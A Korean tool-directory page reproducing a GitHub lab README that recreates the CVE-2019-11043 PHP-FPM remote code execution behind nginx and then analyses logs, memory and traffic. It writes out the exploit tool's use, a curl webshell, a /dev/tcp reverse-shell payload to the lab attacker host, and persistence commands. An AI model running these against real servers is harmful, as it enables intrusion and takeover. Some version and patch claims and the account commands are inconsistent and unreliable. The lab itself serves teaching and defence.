Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-11043-Vulnerability — nginx 뒤에서 CVE-2019-11043 PHP-FPM RCE를 재현하는 실습형 랩으로, 리버스 터널 지속성, 메모리 포렌식, 네트워크 트래픽 분석을 시연합니다. | Kitploit
도구/GitHubGitHub/magentabear/cve-2019-11043-vulnerability
Memory ForensicsPersistence MechanismsVulnerability AnalysisExploitationNetwork ForensicsWeb Application ExploitationPenetration TestingMisconfigurationLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Red Teaming
Labs & Practice
GitHubmagentabear/cve-2019-11043-vulnerability

CVE-2019-11043-Vulnerability

nginx 뒤에서 CVE-2019-11043 PHP-FPM RCE를 재현하는 실습형 랩으로, 리버스 터널 지속성, 메모리 포렌식, 네트워크 트래픽 분석을 시연합니다.

저장소 보기
79개월 전아직 검토되지 않음

공동 작업자: Olaf Madejski, Andrew Masone, Nate Desany

PHP-FPM 리버스 터널 악용 및 지속성 시연

CVE-2019-11043 — Debian PHP-FPM 경로 처리 취약점


프로젝트 개요

2019년 10월, Debian 보안 자문 연구원 Emil Lerner와 Andrew Danau는 PHP-FPM의 심각한 취약점에 대해 Debian 커뮤니티에 경고하는 공지를 발표했습니다. PHP-FPM의 경로 처리 코드에 대한 검증 부족으로 인해, 공격자는 특정 NGINX + PHP-FPM 구성 하에서 특수하게 조작된 요청을 통해 원격 임의 코드 실행을 달성할 수 있었습니다.

이 랩은 다음의 악용을 시연합니다:

CVE-2019-11043

NGINX 뒤에서 실행되는 PHP-FPM에 영향을 미치는 취약점으로, 트리거될 경우 공격자가 임의 코드를 실행하고 리버스 터널링을 통해 지속성을 확보할 수 있습니다.

이 프로젝트는 취약한 환경을 재현하고, 악용 체인을 실행하며, 실제 시나리오에서 공격자가 터널링 기법을 통해 지속성을 달성하는 방식을 평가합니다.


목차

Config

  • 도커 컨테이너의 인덱스 파일을 보유하는 index.php 파일을 포함합니다.
  • nginx 및 php-fpm 사용을 위한 패치된 기본 구성을 포함합니다.
  • nginx 및 php-fpm 사용을 위한 취약한 기본 구성을 포함합니다.

Disk_Images

  • 두 가상 머신(호스트(Home) 및 공격자(Attacker))의 디스크 이미지 zip 파일 2개를 보관하는 Google 드라이브를 가리키는 텍스트 파일을 포함합니다.

Screenshots

  • 랩 전반에 걸친 스크린샷을 포함하고 있으며 readme에도 포함된 폴더입니다.

Supplemental Material

  • 악용에 사용된 2가지 도구에 대한 README와 도커 이미지용 docker compose 파일을 포함합니다.

LogFiles

  • 공격자 머신과 호스트(Home) 머신에 걸친 로그 파일입니다.
  • 이러한 파일에는 더 쉬운 사용을 위해 분할된 .pcap 로그가 포함됩니다.
  • 메모리 덤프에 대한 링크입니다. 악용이 본질적으로 메모리 오버플로우를 사용하므로 중요합니다.
  • access, auth, error, faillog, fulllog.zip(journalctl 로그), history, php7.3-fpm(취약점 패치 사용용), syslog 및 term 로그가 포함됩니다.

README.md

  • 지금 읽고 있는 readme 파일입니다.

프로젝트 관련성

공격 벡터

이 공격 체인은 여러 고영향 MITRE ATT&CK 기법과 직접적으로 일치합니다:

오늘날 이것이 중요한 이유

지속성을 위한 리버스 터널링은 APT 그룹, 봇넷 및 랜섬웨어 운영자 전반에 걸쳐 사용되는 **빈도 높은 TTP(전술, 기법, 절차)**입니다. PHP-FPM은 프로덕션 환경에 여전히 광범위하게 배포되어 있으며, CVE-2019-11043에 의해 악용되는 잘못된 구성은 실제 환경에서 여전히 관찰되고 있습니다.

이는 이론적 추상화가 아닙니다 — 국가 행위자와 랜섬웨어 그룹이 연루된 활발한 악용 캠페인에서 문서화된 정확한 행동을 반영합니다.

CVE-2019-11043은 수년이 지났음에도 불구하고, 이 취약점은 다음과 같은 현대 보안 현실로 인해 계속해서 관련성을 유지하고 있습니다:

  • 레거시 PHP 애플리케이션은 여전히 어디에나 있습니다. 많은 조직이 장기적인 웹 애플리케이션 의존성, 기술 부채 또는 프로덕션 시스템 손상에 대한 두려움 때문에 오래된 PHP 5.x/7.x 스택을 계속 실행하고 있습니다. 이러한 환경은 종종 패치되지 않은 채 취약한 상태로 남아 있습니다.

  • NGINX + PHP-FPM은 전 세계적으로 가장 일반적인 호스팅 아키텍처 중 하나입니다. 이는 크고 오래 지속되는 악용 표면을 찾는 공격자에게 PHP-FPM의 취약점을 매우 매력적으로 만듭니다.

  • 리버스 터널링은 현대 위협 전반에 걸친 핵심 지속성 기법입니다. Lazarus, APT29, FIN11과 같은 그룹과 수많은 랜섬웨어 운영자는 노출된 인바운드 포트에 의존하지 않고 장기적인 접근을 유지하기 위해 리버스 SSH 터널, WebSocket 터널 및 심지어 PHP 기반 리버스 셸을 사용합니다.

  • 잘못된 구성은 여전히 침해의 1위 원인입니다. 패치가 존재하더라도 잘못 구성된 NGINX "location" 블록과 제대로 검증되지 않은 PATH_INFO 변수는 계속해서 환경을 악용에 노출시킵니다.

  • 악용 자동화 키트는 여전히 이 CVE를 대상으로 합니다. 자동화 스캐너, 봇넷 및 IoT 악성코드와 같은 도구는 악용이 안정적인 코드 실행으로 이어지기 때문에 취약한 PHP-FPM 설정을 일상적으로 탐색합니다.

  • 클라우드 환경은 공격 표면을 확장하고 있습니다. 제대로 보호되지 않은 컨테이너, 공유 호스팅 설정 및 오래된 Docker 기본 이미지에는 패치되지 않은 PHP-FPM 버전이 포함되는 경우가 많아 클라우드 네트워크 내부에서 빠른 측면 이동으로 이어집니다.

  • 공격자는 "쉬운 먹잇감"을 좋아합니다. 최소한의 기술만으로 원격 코드 실행 + 터널 기반 지속성을 가능하게 하는 취약점은 항상 고가치 대상으로 남을 것입니다.

지속적 접근, 은밀한 터널링 및 공급망 약점이 사이버보안 헤드라인을 지배하는 오늘날의 위협 환경에서, CVE-2019-11043이 어떻게 악용되는지 이해하고 시연하는 것은 현대 공격 패턴과 방어 공백에 대한 중요한 통찰력을 제공합니다.


방법론

환경

이 랩의 목적은 특정 구성을 사용하는 nginx 뒤의 PHP‑FPM에 영향을 미치는 심각한 원격 코드 실행 취약점인 CVE‑2019‑11043의 실제 악용을 시뮬레이션하는 것이었습니다. 목표는 취약점을 분석하고, 통제된 가상 환경에서 악용을 재현하며, 잘못 구성된 웹 인프라와 관련된 위험을 시연하는 것이었습니다.

두 대의 가상 머신이 사용되었습니다: 둘 다 사용자 이름은 username이고 비밀번호는 password입니다.

역할머신IP 주소목적
대상 / 피해자Ubuntu Server192.168.56.102CVE-2019-11043을 실행하는 취약한 PHP-FPM 서버
공격자Ubuntu Server192.168.56.103악용, 리버스 셸 및 지속성 실행

호스트 설정 명령어:

apt 업데이트

root@kitploit:~
sudo apt update && sudo apt -y upgrade

취약점 악용을 위한 컨테이너 생성.

root@kitploit:~
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d

대상 설정 명령어:

Apt 업데이트 및 기본 php, python 및 추가 패키지 설치

root@kitploit:~
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
    netcat-traditional net-tools build-essential \
    php ruby ruby-full        
pip3 install requests
sudo apt install golang-go

해당 CVE를 악용하기 위한 도구를 다운로드하고 악용을 빌드하기 위해 터미널을 이동합니다.

root@kitploit:~
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build

대상 공격 명령어:

여기서부터 설정이 완료됩니다. 먼저 할 수 있는 작업의 예로,

  1. 한 터미널(터미널 1)에서 다음을 수행합니다:

    root@kitploit:~
    nc -lvnp 4444
    

이는 수신 채널을 설정하고 리버스 셸을 활성화하기 위한 것입니다. 이론적 실험에서 아래의 명령어들을 가능하게 하므로 항상 수신 상태를 유지해야 합니다.

  1. 다른 터미널(터미널 2)에서 다음을 수행합니다:

    root@kitploit:~
     cd phuip-fpizdam
    ./phuip-fpizdam http://192.168.56.102:8080/index.php
    

이는 취약점 악용에 성공했음을 확인하는 출력 라인을 표시해야 합니다.

마지막으로 추가 터미널(터미널 3)을 엽니다.

즉시 다음을 수행하여 악용 기능을 테스트할 수 있습니다:

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=id"

이는 웹 기반 원격 명령을 생성하고 id의 출력을 표시합니다. 그러나 아래 스크린샷과 같이 메모리 오버플로우로 인해 명령이 작동할 수도 있고 작동하지 않을 수도 있는 경우가 있으며, 자주 더 작은 명령이 작동할 가능성이 더 높습니다.

이론적으로 모든 명령을 여기서 수행할 수 있으며, 아래 명령에서 HERE라고 표시된 위치에 위치해야 합니다. 그러나 전체 명령이 실행될 확률은 달라질 수 있습니다.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=HERE"

이 명령은 셸 내부의 콘텐츠를 읽습니다.

root@kitploit:~
http://192.168.56.102:8080/index.php?cmd=ls

실제 사례에서 위협 행위자가 이 명령을 사용하면 새 계정을 만들고 따옴표 안에 password라는 비밀번호를 생성할 것입니다.

root@kitploit:~
useradd threat
echo "password" | passwd --stdin hacker

이 명령은 리버스 셸을 생성하지만, 이는 개념 증명이며 PHP-FPM이 주기적으로 워커 프로세스를 종료하고 재생성하기 때문에 생성하기 어렵습니다.

손상된 워커가 종료되면, 주입된 php.ini 수정 사항도 함께 소멸됩니다.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"

여기서부터 공격자는 스케줄링 작업을 사용할 가능성이 높습니다. 이 예시에서는 서버가 Linux이므로 CRON을 사용하며, 이는 Windows 시작 프로세스와 동등합니다.


결과

이 랩은 통제된 환경에서 CVE‑2019‑11043을 성공적으로 재현했으며, 잘못 구성된 nginx + PHP‑FPM 설정이 어떻게 원격으로 악용될 수 있는지 시연했습니다. 취약한 정규식 기반 fastcgi_split_path_info 구성을 사용하여 공격자 머신은 PHP‑FPM을 불일치 상태로 강제하여 궁극적으로 임의 코드 실행을 달성했습니다. 또한 여러 시스템의 원격 서버에서 로그 파일을 추출하고 이 취약점과 관련된 것으로 알려진 로그 분석을 수행했습니다.

취약점이 트리거되면 공격자는 대상에서 원격 명령 실행을 획득하고 로컬 사용자로 시스템과 상호 작용할 수 있었습니다. 손상된 웹 서버는 명령을 수락하고 실행하며 출력을 반환했습니다 — 완전히 작동하는 원격 셸을 확인해 주었습니다. 이는 취약한 nginx 경로 분할 구성 및 영향을 받는 PHP‑FPM 버전과 결합될 때 이 CVE가 여전히 안정적으로 악용 가능함을 확인했습니다.

환경은 문서화된 악용 동작과 일관되게 작동했습니다. whoami, id, ls 및 echo와 같은 명령은 성공적으로 실행된 반면, 더 복잡하거나 대화형 명령은 악용된 PHP‑FPM 워커 프로세스의 불안정성을 보여주었습니다 — 이는 이 취약점의 알려진 영향 중 하나입니다.

명시된 바와 같이 취약점의 변동성 때문에 때로는 취약하고 때로는 그렇지 않으며, 작동할 때도 있고 작동하지 않을 때도 있으므로 반복 명령을 스크립팅하는 것이 좋습니다.

이 취약점은 메모리 및 버퍼 오버플로우 문제와 직접 관련된 CVE를 악용하므로, 호스트 머신의 메모리를 확인하고 Volatility로 분석하는 것이 중요합니다.

이 랩에서는 이 취약점과 관련된 주요 로그, 메모리 및 네트워크 캡처를 분석했습니다.

네트워크 캡처는 호스트 머신에서 실행이 시도되는 명령을 보여줍니다. 여기에는 명령 자체와 서버에 전송되는 http get 명령의 url 끝에 바인딩된 여러 문자가 포함되며, 이로 인해 메모리 오버플로우가 발생합니다.

또한 이 무해한 예시에서 google 이미지에서 행복한 강아지 이미지를 다운로드하기 위해 실행된 명령과, PHuip github 제작자의 '유머러스한 텍스트'가 포함된 실제 명령을 평문으로 볼 수 있습니다.

Volatility로 분석되고 .json 파일로 수집된 메모리 캡처는 동일한 이름의 프로세스가 연속으로 여러 번 실행되어 실패와 재실행을 나타내는 빈번한 프로세스를 보여줍니다.

이는 메모리 오버플로우 오류가 이 취약점과 관련된 근본적인 문제이기 때문에 발생합니다. 사용자는 bash 스크립트와 같은 것을 반복할 수 있습니다: while true; do curl "command" sleep 0.01과 같이 초당 여러 번 명령을 실행하여 돌파를 시도하고 원격 코드 실행을 얻습니다.

주요 시사점

전반적으로 이 프로젝트는 다음 사항을 검증했습니다:

  • 취약한 nginx 정규식은 PHP‑FPM을 원격 코드 실행에 노출시키기에 충분합니다.

  • PHP‑FPM 8.1(이 방식으로 구성된 경우)은 CVE‑2019‑11043 조건에서 여전히 악용 가능합니다.

  • 원격 공격자는 의미 있는 명령 실행을 획득하여 파일 조작, 데이터 유출 및 잠재적 권한 상승을 가능하게 할 수 있습니다.

  • 리버스 프록시 / FastCGI 설정의 잘못된 구성은 특히 공개적으로 접근 가능한 업로드 엔드포인트 또는 phpinfo() 페이지와 결합될 때 고영향 공격 표면을 나타냅니다.

결과는 올바른 FastCGI 구성이 얼마나 중요한지 강조하며, 안전한 기본값, 정기적인 구성 감사 및 프로덕션 환경에서 진단 엔드포인트의 최소 노출의 필요성을 강조합니다.


결론

CVE-2019-11043의 악용은 PHP-FPM과 NGINX의 단일 잘못된 구성이 서버 장악 및 지속적인 공격자 접근으로 이어질 수 있는 방법을 보여줍니다.
Debian 보안 자문 팀은 php7.0을 버전 7.0.33 이상으로 업그레이드하면 이 취약점이 완전히 패치된다고 확인했습니다.

적절한 패치, 강화된 NGINX 구성 및 터널링 동작 모니터링은 현대 환경에서 유사한 공격을 방지하는 데 중요합니다.


참고 자료

  • CVE 세부 정보 – https://nvd.nist.gov/vuln/detail/cve-2019-11043
  • CVE 레코드 – https://www.cve.org/CVERecord?id=CVE-2019-11043
  • Debian 보안 자문 – https://lists.debian.org/debian-security-announce/2019/msg00204.html
  • 취약점용 도커 저장소 - https://github.com/vulhub/vulhub/tree/master
  • 취약점 악용에 사용된 도구 - https://github.com/neex/phuip-fpizdam

도구 다운로드
MITRE ID기법 이름
T1071애플리케이션 계층 터널링
T1572프로토콜 터널링
T1090프록시 / 리버스 프록시
T1505서버 측 구성 요소 (PHP-FPM)
T1574실행 흐름 하이재킹